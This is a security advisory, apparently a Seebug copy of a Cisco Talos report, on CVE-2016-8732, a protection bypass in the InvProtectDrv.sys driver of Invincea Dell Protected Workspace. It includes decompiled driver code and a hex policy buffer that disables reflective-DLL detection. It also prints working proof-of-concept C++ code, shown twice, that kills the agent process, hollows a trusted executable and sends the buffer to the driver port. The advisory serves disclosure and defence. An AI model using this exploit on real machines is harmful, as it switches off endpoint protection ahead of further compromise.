Invincea Dell Protected Workspace Protection Bypass(CVE-2016-8732)

2017-09-14T00:00:00
ID SSV:96479
Type seebug
Reporter Root
Modified 2017-09-14T00:00:00

Description

Summary

Multiple security flaws exists in InvProtectDrv.sys which is a part of Invincea Dell Protected Workspace 5.1.1-22303. Weak restrictions on the driver communication channel and additonal insufficient checks allow any application to turn off some of the protection mechanisms provided by the Invincea product.

Tested Versions

Invincea Dell Protected Workspace build 5.1.1-22303

Product URLs

  • http://www.dellprotectedworkspace.com/
  • https://www.invincea.com

CVSSv3 Score

7.8 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Details

This vulnerability is present in the InvProtectDrv.sys driver which is a part of the Invincea Dell Protected Workspace. This product provides sandbox functionality for Windows environments. Due to weak permissions on the driver communication channel and ineffective additional checks, any malicious application can communicate with driver and turn off some of the security functionality provided by this product.

Let's investigate these flaws. The InvProtectDrv.sys driver creates a communication port via the FltCommunicationPort with weak security descriptions allowing any user to communicate with this port. The vulnerable code looks as follows: Line 1 v2 = FltBuildDefaultSecurityDescriptor(&acl, 0x1F0001); Line 2 DbgPrint("InvProtectDrv: FltBuildDefaultSecurityDescriptor 0x%x\n", v2); Line 3 if ( v2 >= 0 ) Line 4 { Line 5 RtlSetDaclSecurityDescriptor(acl, 1u, 0, 0); Line 6 RtlInitUnicodeString(&DestinationString, L"\\InvProtectDrvPort"); Line 7 v7 = &DestinationString; Line 8 v5 = 24; Line 9 v6 = 0; Line 10 v8 = 576; Line 11 v9 = acl; Line 12 v10 = 0; Line 13 v3 = FltCreateCommunicationPort( Line 14 dword_95B930E0, Line 15 &dword_95B930E4, Line 16 &v5, Line 17 0, Line 18 sub_95B8C360, Line 19 sub_95B8C3A0, Line 20 MessageNotifyCallback, Line 21 1);

The amount of applications to can connect with this port is limited to one but because the connection is occupied by a user mode application which is not protected, malicious application can kill the InvProtectAgent.exe process and connect to the port. The Routine responsible for handling messages sent to the driver is at line 20 MessageNotifyCallback. One of the functionalities of this communication channel is to apply new policies to the sandbox. Part of MessageNotifyCallback looks as follows: Line 1 int __stdcall MessageNotifyCallback(PVOID PortCookie, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength, PULONG ReturnOutputBufferLength) Line 2 { Line 3 (...) Line 4 if ( controlCode == 1 ) Line 5 { Line 6 DbgPrint("InvProtectDrv: USER_STARTED %d\n", 1); Line 7 pid = PsGetCurrentProcessId(); Line 8 if ( !checkApplicationLocation(pid) ) Line 9 { Line 10 DbgPrint("InvProtectDrv: USER_STARTED access denied.\n"); Line 11 OutputBufferLength = 0xC0000022; Line 12 *ReturnOutputBufferLength = (ULONG)OutputBuffer; Line 13 return OutputBufferLength; Line 14 } Line 15 applyNewPolicy((struct_InputBuffer *)InputBuffer, InputBufferLength);

As we can see, before the new policy is applied, the location of the application which sent it is checked. There are a couple of absolute application paths defined and only applications from this paths are able to satifisy this constraint. Let's take a look at the checkApplicationLocation function: Line 1 char __stdcall checkApplicationLocation(HANDLE pid) Line 2 { Line 3 (...) Line 4 senderAppPath = (UNICODE_STRING *)getPathFromPid((SIZE_T)pid, 0); Line 5 if ( senderAppPath ) Line 6 { Line 7 v3 = (unsigned __int16)(installationDir->Length + 60); Line 8 v4 = ExAllocatePoolWithTag(0, v3, 0x4D766E49u); Line 9 P = v4; Line 10 if ( v4 ) Line 11 { Line 12 allowedAppStr.Buffer = (PWSTR)v4; Line 13 allowedAppStr.Length = 0; Line 14 allowedAppStr.MaximumLength = v3; Line 15 RtlCopyUnicodeString(&allowedAppStr, installationDir); Line 16 index = 0; Line 17 while ( 1 ) Line 18 { Line 19 allowedApp = allowedApps[index]; Line 20 allowedAppStr.Length = installationDir->Length; Line 21 v7 = RtlAppendUnicodeToString(&allowedAppStr, allowedApp); Line 22 if ( !RtlCompareUnicodeString(senderAppPath, &allowedAppStr, 1u) ) Line 23 break; Line 24 if ( v7 < 0 ) Line 25 DbgPrint("InvProtectDrv: %x in %s, ln %d\n", v7, "Driver\\InvProtectDrv.c", 2673); Line 26 if ( ++index >= 4u ) Line 27 goto end_of_array; Line 28 } Line 29 allowed = 1; Line 30

In the while loop at lines 17-28, we see a comparison of the array allowedApps's elements with senderAppPath. If the sender's application path is equal to one of paths, the allowed flag is set to one. The content of allowedApps is as follow: .data:95B930A0 ; PCWSTR allowedApps[4] .data:95B930A0 allowedApps dd offset aInvprotect_exe .data:95B930A0 ; DATA XREF: checkApplicationLocation+9Cr .data:95B930A0 ; "InvProtect.exe" .data:95B930A4 dd offset aInvprotect64_e ; "InvProtect64.exe" .data:95B930A8 dd offset aInvprotectsvc_ ; "InvProtectSvc.exe" .data:95B930AC dd offset aInvprotectsvc6 ; "InvProtectSvc64.exe"

Because the standard installation directory of the executable files listed in this array is C:\Program Files\Invincea\Enterprise, an unprivileged user can't put a malicious executable in that location. To bypass that check attacker can use the RunPE technique on one of the executables listed in the allowedApps array. That way, the executable path check will be satisfied. After bypassing this check, the attacker needs to provided a properly formatted buffer to trigger specific actions. Examining the process reveals that the structure of the inputBuffer contains a new policy that looks as follows: struct Policy { DWORD policySize; DWORD policyType; BYTE policyData[]; } struct Package { DWORD command; DWORD policiesAmount; Policy[policiesAmount]; }

Inside the applyNewPolicy function we find call to a routine which exposes what type of policy and functionality we can trigger. Line 1 ULONG __stdcall sub_95B8C730(int a1) Line 2 { Line 3 ULONG result; // eax@3 Line 4 Line 5 if ( *(_DWORD *)(a1 + 4) == 1 ) Line 6 { Line 7 if ( *(_DWORD *)(a1 + 8) ) Line 8 { Line 9 sub_95B8FA50(1); Line 10 result = DbgPrint("DetectReflectiveDll is on\n"); Line 11 } Line 12 else Line 13 { Line 14 sub_95B8FA50(0); Line 15 result = DbgPrint("DetectReflectiveDll is off\n"); Line 16 } Line 17 } Line 18 else if ( *(_DWORD *)(a1 + 4) == 2 ) Line 19 { Line 20 if ( *(_DWORD *)(a1 + 8) ) Line 21 { Line 22 sub_95B8FA60(1); Line 23 result = DbgPrint("KillReflectiveDllProcess is on\n"); Line 24 } Line 25 else Line 26 { Line 27 sub_95B8FA60(0); Line 28 result = DbgPrint("KillReflectiveDllProcess is off\n");

We can see that sending a properly formatted inputBuffer we can turn functionality on or off that is related to: - reflective dll detection - killing a process with a reflective dll

An example of an input buffer that contains a policy that will disable both the options above looks like this: ``` Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F

00000000 01 00 00 00 00 00 00 70 0C 00 00 00 01 00 00 00 .......p........ 00000010 01 00 00 00 01 00 00 00 0C 00 00 00 01 00 00 00 ................ 00000020 01 00 00 00 00 00 00 00 0C 00 00 00 01 00 00 00 ................ 00000030 02 00 00 00 00 00 00 00 ........ ```

After running the PoC code below with the inputBuffer defined above, we see the following messages in DebugView: [3388] SetOSData [3388] SetOSData GetProcAddress [3388] GetKnownFolder [3388] GetSysLibHandle Fore [3388] GetSysLibHandle existed InvProtectDrv: Thread offset 0x2c InvProtectDrv: Peb offset 0x1a8 InvProtectDrv: Params offset 0x10 InvProtectDrv: CmdLine offset 0x40 InvProtectDrv: FltRegisterFilter 0x0 InvProtectDrv: FltBuildDefaultSecurityDescriptor 0x0 InvProtectDrv: FltCreateCommunicationPort 0x0 InvProtectDrv: call Sandbox driver InvProtectDrv: SboxSetNotifyRoutine 0x0 InvProtectDrv: PsSetCreateThreadNotifyRoutine 0x0 InvProtectDrv: FltStartFiltering 0x0 InvProtectDrv: CmRegisterCallback 0x0 InvProtectDrv: PsSetLoadImageNotifyRoutine 0x0 InvProtectDrv: Firewall driver is loaded. InvProtectDrv: DriverEntry completed InvProtectDrv: Port Connect InvProtectDrv: SVC_STARTED 3 DetectReflectiveDll is on KillReflectiveDllProcess is off kServicePort: 86c4d088 InvProtectDrv: call Sandbox driver InvProtectDrv: SboxSetNotifyRoutine 0x0 FsContext entry size: 0 InvProtectDrv: kUPDATE_CYNOMIX_POLICY 9 InvProtectDrv: Cynomix is disabled. (...) [+]Connection set. Ready for actions inBuffer = 0x00af3451 size : 0x38 InvProtectDrv: USER_STARTED 1 DetectReflectiveDll is off KillReflectiveDllProcess is off InvProtectDrv: SboxSetNotifyRoutine [+]Message Sent

PoC

``` --------------------------------------- payload.exe --------------------------------------------

include "stdafx.h"

include "Win32Project1.h"

include <Windows.h>

include <Fltuser.h>

pragma comment(lib,"FltLib")

include <fstream>

using namespace std;

define _CRT_SECURE_NO_WARNINGS

void LogMessage(char* pszFormat, ...) {

static char s_acBuf[2048]; // this here is a caveat!

va_list args;

va_start(args, pszFormat);

vsprintf(s_acBuf, pszFormat, args);

OutputDebugStringA(s_acBuf);

va_end(args);

}

PBYTE readFile(LPWSTR fileName, PDWORD size) { PBYTE buffer; ifstream file(fileName, ios::binary); if (!file.is_open()) { printf("Could no open file\n"); exit(0); }

file.seekg(0, file.end);
*size = file.tellg();
file.seekg(0, file.beg);
buffer = new BYTE[*size];
file.read((char*)buffer, *size);
file.close();
return buffer;

} void dumpFile(PBYTE buff,DWORD buffSize) { ofstream file("C:\tmp\outbuff.bin"); file.write((char*)buff,buffSize); file.close();

}

void sendMessage() { HANDLE portHandle; HRESULT result; DWORD inBufferLen; PBYTE inBuffer; const DWORD outBufferLen = 0x1000; BYTE outBuffer[0x1000] = { 0 }; DWORD returned; LPCWSTR portName = L"\InvProtectDrvPort"; result = FilterConnectCommunicationPort(portName, 0, 0, 0, 0, &portHandle);

if (IS_ERROR(result))
{
    LogMessage("[-]Problem with connection : 0x%x\n", result);
    return;
}
LogMessage("[+]Connection set. Ready for actions\n");

inBuffer = readFile(L"C:\\tmp\\package.bin", &inBufferLen);
LogMessage("inBuffer = 0x%x  size : 0x%x\n", inBuffer, inBufferLen);
result = FilterSendMessage(portHandle, inBuffer, inBufferLen, outBuffer, outBufferLen, &returned);
if (IS_ERROR(result))
{
    LogMessage("[-]FilterSend went wrong : 0x%x\n", result);
    return;
}
LogMessage("[+]Outbuff dumped with size : 0x%x\n",returned);
dumpFile(outBuffer, returned);
LogMessage("[+]Message Sent\n");

}

int APIENTRY tWinMain(_In HINSTANCE hInstance, In_opt HINSTANCE hPrevInstance, In LPTSTR lpCmdLine, In int nCmdShow) {

sendMessage();
return 0;

} --------------------------------------- payload.exe --------------------------------------------

------------------------------------------ runpe.exe ---------------------------------------------

int _tmain(int argc, _TCHAR* argv[])

LPWSTR src = L"C:\Program Files\Invincea\Enterprise\InvProtect.exe"; LPWSTR payload = L"Z:\tmp\payload.exe"; killProcess("InvProtect.exe"); runPE(src, readFile(payload)); return 0;

------------------------------------------ runpe.exe --------------------------------------------- ```

Timeline

  • 2016-12-01 - Vendor Disclosure
  • 2017-06-30 - Public Release

CREDIT

  • Discovered by Marcin 'Icewall' Noga of Cisco Talos.
                                        
                                            
                                                ---------------------------------------   payload.exe  --------------------------------------------
#include "stdafx.h"
#include "Win32Project1.h"
#include &lt;Windows.h&gt;
#include &lt;Fltuser.h&gt;
#pragma comment(lib,"FltLib")
#include &lt;fstream&gt;
using namespace std;

#define _CRT_SECURE_NO_WARNINGS

void LogMessage(char* pszFormat, ...) {

    static char s_acBuf[2048]; // this here is a caveat!

    va_list args;

    va_start(args, pszFormat);

    vsprintf(s_acBuf, pszFormat, args);

    OutputDebugStringA(s_acBuf);

    va_end(args);
}

PBYTE readFile(LPWSTR fileName, PDWORD size)
{
    PBYTE buffer;
    ifstream file(fileName, ios::binary);
    if (!file.is_open())
    {
        printf("Could no open file\n");
        exit(0);
    }

    file.seekg(0, file.end);
    *size = file.tellg();
    file.seekg(0, file.beg);
    buffer = new BYTE[*size];
    file.read((char*)buffer, *size);
    file.close();
    return buffer;
}
void dumpFile(PBYTE buff,DWORD buffSize)
{
    ofstream file("C:\\tmp\\outbuff.bin");
    file.write((char*)buff,buffSize);
    file.close();

}

void sendMessage()
{
    HANDLE portHandle;
    HRESULT result;
    DWORD inBufferLen;
    PBYTE inBuffer;
    const DWORD outBufferLen = 0x1000;
    BYTE outBuffer[0x1000] = { 0 };
    DWORD returned;
    LPCWSTR portName = L"\\InvProtectDrvPort";
    result = FilterConnectCommunicationPort(portName, 0, 0, 0, 0, &portHandle);

    if (IS_ERROR(result))
    {
        LogMessage("[-]Problem with connection : 0x%x\n", result);
        return;
    }
    LogMessage("[+]Connection set. Ready for actions\n");

    inBuffer = readFile(L"C:\\tmp\\package.bin", &inBufferLen);
    LogMessage("inBuffer = 0x%x  size : 0x%x\n", inBuffer, inBufferLen);
    result = FilterSendMessage(portHandle, inBuffer, inBufferLen, outBuffer, outBufferLen, &returned);
    if (IS_ERROR(result))
    {
        LogMessage("[-]FilterSend went wrong : 0x%x\n", result);
        return;
    }
    LogMessage("[+]Outbuff dumped with size : 0x%x\n",returned);
    dumpFile(outBuffer, returned);
    LogMessage("[+]Message Sent\n");
}

int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
                     _In_opt_ HINSTANCE hPrevInstance,
                     _In_ LPTSTR    lpCmdLine,
                     _In_ int       nCmdShow)
{

    sendMessage();
    return 0;
}
---------------------------------------   payload.exe  --------------------------------------------

------------------------------------------ runpe.exe   ---------------------------------------------

int _tmain(int argc, _TCHAR* argv[])

LPWSTR src = L"C:\\Program Files\\Invincea\\Enterprise\\InvProtect.exe";
LPWSTR payload = L"Z:\\tmp\\payload.exe";
killProcess("InvProtect.exe");
runPE(src, readFile(payload));
return 0;


------------------------------------------ runpe.exe   ---------------------------------------------